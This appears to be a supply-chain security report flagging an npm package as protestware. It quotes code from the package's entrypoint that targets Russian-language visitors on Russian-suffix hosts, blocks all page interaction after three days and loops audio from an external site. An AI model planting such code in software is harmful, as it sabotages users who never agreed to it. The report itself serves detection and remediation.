registry / Protestware / @esvndev/es-react-import-export

@esvndev/es-react-import-export

## Hướng dẫn sử dụng

This report shows the evidence for @esvndev/es-react-import-export@1.2.44. 11 of 13 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 15d ago · by lpm-firewall-ai

The entrypoint automatically disrupts selected visitors’ pages after a delay, including by blocking pointer interaction and playing external audio. This is active targeted browser disruption, so the package is malicious and should be blocked.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Importing the entrypoint in a browser on a matching host with a Russian language setting, after the stored date is more than three days old.

Impact

Visitors may be unable to interact with the page while audio plays.

Mechanism

It records an initial date, then disables pointer events and appends audio sourced from flag-gimn.ru for looping playback.

Attack narrative

When the browser language begins with Russian and the host ends in a selected suffix, the entrypoint records a date. On a later visit after three days, it disables page pointer interaction and loads looping audio from flag-gimn.ru.

AI rationale

Evidence

dist/index.jslocalStorage

Network endpoints1

flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The published entrypoint is dist/index.js.
The entrypoint contains a language and host suffix trigger and stores its first activation date in local storage.
After three days, the code disables page interaction and loops audio loaded from flag-gimn.ru.

Evidence against

The disruptive behavior is gated to browser visits with a Russian language setting on selected host suffixes and a three-day delay.

Behavioral surface

Source

EnvironmentVarsEvalNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 6.60 MB of source, external domains: fb.me, flag-gimn.ru, getbootstrap.com, github.com, sweetalert2.github.io, www.w3.org, www.youtube.com

Source & flagged code

6 flagged

dist/index.jsView file

•if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/index.jsView on unpkg

•Trigger-reachable chain: scripts.start -> dist/index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.jsView on unpkg

14905// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { const now = new Date(); const initiationDate = localStorage.getItem('swal-initiation'); if (!initiationDate) { localStorage.setItem('swal-initiation', `${now}`); } else if ((now.getTim

High

Ai Review Evidence

The entrypoint contains a language and host suffix trigger and stores its first activation date in local storage.

dist/index.jsView on unpkg · L14905

14911} else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) { setTimeout(() => { document.body.style.pointerEvents = 'none'; const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem);

High

Ai Review Evidence

After three days, the code disables page interaction and loops audio loaded from flag-gimn.ru.

dist/index.jsView on unpkg · L14911

14307} L14308: result[paramName] = new Function(`return ${value}`)(); L14309: });

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/index.jsView on unpkg · L14307

package.jsonView file

Lines 1-21json

2 "name": "@esvndev/es-react-import-export",

3 "version": "1.2.44",

4 "main": "dist/index.js",

5 "module": "dist/index.mjs",

Source & flagged code

6 flagged · loading source

dist/index.jsView file

•if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/index.jsView on unpkg

•Trigger-reachable chain: scripts.start -> dist/index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.jsView on unpkg

High

Ai Review Evidence

The entrypoint contains a language and host suffix trigger and stores its first activation date in local storage.

Findings

2 Critical3 High3 Medium4 Low

CriticalTargeted Browser Disruption Protestwaredist/index.js

CriticalTrigger Reachable Dangerous Capabilitydist/index.js

HighAi Review Evidencepackage.json

HighAi Review Evidencedist/index.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowEvaldist/index.js

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to @esvndev/es-react-import-export@1.2.44.

The versions list below shows the verdict for each recorded version.

Avoid installing @esvndev/es-react-import-export@1.2.44. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-07 21:24:17.484Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

13 known versions

1.2.44latestshownMaliciousProtestwareBlockPublishedSep 18, 2026, 4:01 AM 1.2.43MaliciousProtestwareBlockPublishedSep 16, 2026, 11:17 AM 1.2.42MaliciousProtestwareBlockPublishedSep 16, 2026, 9:58 AM 1.2.41MaliciousProtestwareBlockPublished

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @esvndev

Other protestware packages

Behavioral surface

Related packages

More from @esvndev

Other protestware packages

Source & flagged code